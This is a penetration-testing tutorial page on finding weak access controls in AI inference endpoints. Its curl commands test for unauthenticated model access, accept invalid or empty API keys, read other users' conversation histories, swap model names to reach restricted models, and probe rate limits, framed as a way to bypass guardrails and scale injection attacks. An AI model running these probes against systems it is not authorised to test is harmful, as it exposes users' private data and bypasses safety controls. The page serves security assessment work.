# Detecting Weak Access Controls on Inference Endpoints

> Identify misconfigured AI inference endpoints exposing unauthenticated or over-permissioned access through API probing, header analysis, and permission enumeration techniques.

- **URL:** https://hackindex.io/platforms/ai/vulnerability-discovery/detecting-weak-access-controls-on-inference-endpoints
- **Path:** AI Platforms > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/platforms/ai/vulnerability-discovery.md)
- **Published:** 2026-03-18
- **Updated:** 2026-08-11

Model inference endpoints that lack proper access controls allow any client to query the model directly, bypassing application-layer restrictions, usage limits, content filtering, and audit logging. Missing authentication on a model server exposes the raw model without any of the guardrails the application layer applies. Weak authorization on an application proxy endpoint may allow access to models or capabilities not intended for the current user role. This page confirms which access control weaknesses are present before exploiting them.

- **Unauthenticated direct access** to model servers like Ollama or vLLM that respond to completion requests without any token or credential.
- **Weak API key enforcement** where the server checks for header presence but not token validity, accepting empty or invalid values.
- **Horizontal privilege escalation** through broken object-level authorization that lets one user read another user's conversation history.
- **Model selection bypass** where the model parameter is not validated server-side, granting access to more capable or less restricted models.
- **Missing rate limits** that enable high-volume injection testing and cost-generating abuse without triggering automatic blocks.

## Test for Unauthenticated Direct Model Access

Send a completion request with no authentication headers to each identified inference endpoint:

```bash
curl -sk -X POST https://$TARGET_DOMAIN/api/v1/chat/completions -H 'Content-Type: application/json' -d '{"model":"gpt-4o","messages":[{"role":"user","content":"AUTH_TEST"}]}' | python3 -m json.tool
```

```bash
curl -sk -X POST http://$TARGET_IP:11434/api/chat -H 'Content-Type: application/json' -d '{"model":"llama3.1","messages":[{"role":"user","content":"AUTH_TEST"}]}' | python3 -m json.tool
```

A successful completion response with no authentication confirms the endpoint is fully open. This bypasses every restriction the application layer imposes: content filtering, rate limiting, topic restrictions, and audit logging. The raw model is directly accessible.

## Test API Key Strength and Bypass

When an API key is required, test whether the implementation is correctly enforced:

```bash
curl -sk -X POST https://$TARGET_DOMAIN/api/v1/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer invalid-key-test' -d '{"messages":[{"role":"user","content":"test"}]}' | python3 -m json.tool
```

```bash
curl -sk -X POST https://$TARGET_DOMAIN/api/v1/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer ' -d '{"messages":[{"role":"user","content":"test"}]}' | python3 -m json.tool
```

```bash
curl -sk -X POST https://$TARGET_DOMAIN/api/v1/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer null' -d '{"messages":[{"role":"user","content":"test"}]}' | python3 -m json.tool
```

A successful response with an invalid, empty, or null token confirms authentication is not correctly enforced. Some implementations check for the presence of an Authorization header but not the validity of the token value.

## Test for Horizontal Privilege Escalation

When authentication is present, test whether the endpoint enforces user-level isolation: can one user access another user's conversation history or agent context:

```bash
curl -sk https://$TARGET_DOMAIN/api/conversations -H 'Authorization: Bearer $YOUR_TOKEN' | python3 -m json.tool
```

```bash
curl -sk https://$TARGET_DOMAIN/api/conversations/OTHER_USER_CONVERSATION_ID -H 'Authorization: Bearer $YOUR_TOKEN' | python3 -m json.tool
```

Access to another user's conversation history confirms broken object-level authorization. In an AI context this exposes conversation content, any extracted information from tool calls, and agent memory associated with other users.

## Test for Model Selection Bypass

Some deployments restrict which model a user can call. Test whether the model parameter can be freely changed to access more capable or less restricted models:

```bash
for model in gpt-4o gpt-4 gpt-4-turbo gpt-3.5-turbo claude-3-5-sonnet-20241022 claude-3-opus-20240229 meta-llama/Llama-3.1-70B; do echo "Testing $model:"; curl -sk -X POST https://$TARGET_DOMAIN/api/v1/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer $TOKEN' -d "{\"model\":\"$model\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}" | python3 -c "import sys,json; r=json.load(sys.stdin); print('OK' if 'choices' in r else r.get('error',{}).get('message','?'))"; done
```

A successful response from a model the application does not normally expose confirms the model selection parameter is not validated server-side. This may allow access to more capable models than the application intends to provide, or models with different safety configurations.

## Test Rate Limit Enforcement

Missing or weak rate limits on inference endpoints enable abuse that generates costs for the target organization and allows brute-force of injection payloads at scale:

```bash
for i in $(seq 1 20); do curl -sk -X POST https://$TARGET_DOMAIN/api/chat -H 'Content-Type: application/json' -d '{"messages":[{"role":"user","content":"hi"}]}' -o /dev/null -w "%{http_code}\n"; done
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
# 200
```

Twenty consecutive 200 responses with no rate limiting confirms the endpoint has no request throttling. This enables high-volume injection testing and extraction attacks without triggering automatic blocks.

## References

- [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/) - LLM05: Improper Output Handling and access control weakness reference
- [Ollama: API documentation](https://github.com/ollama/ollama/blob/main/docs/api.md) - Ollama authentication configuration and default open access reference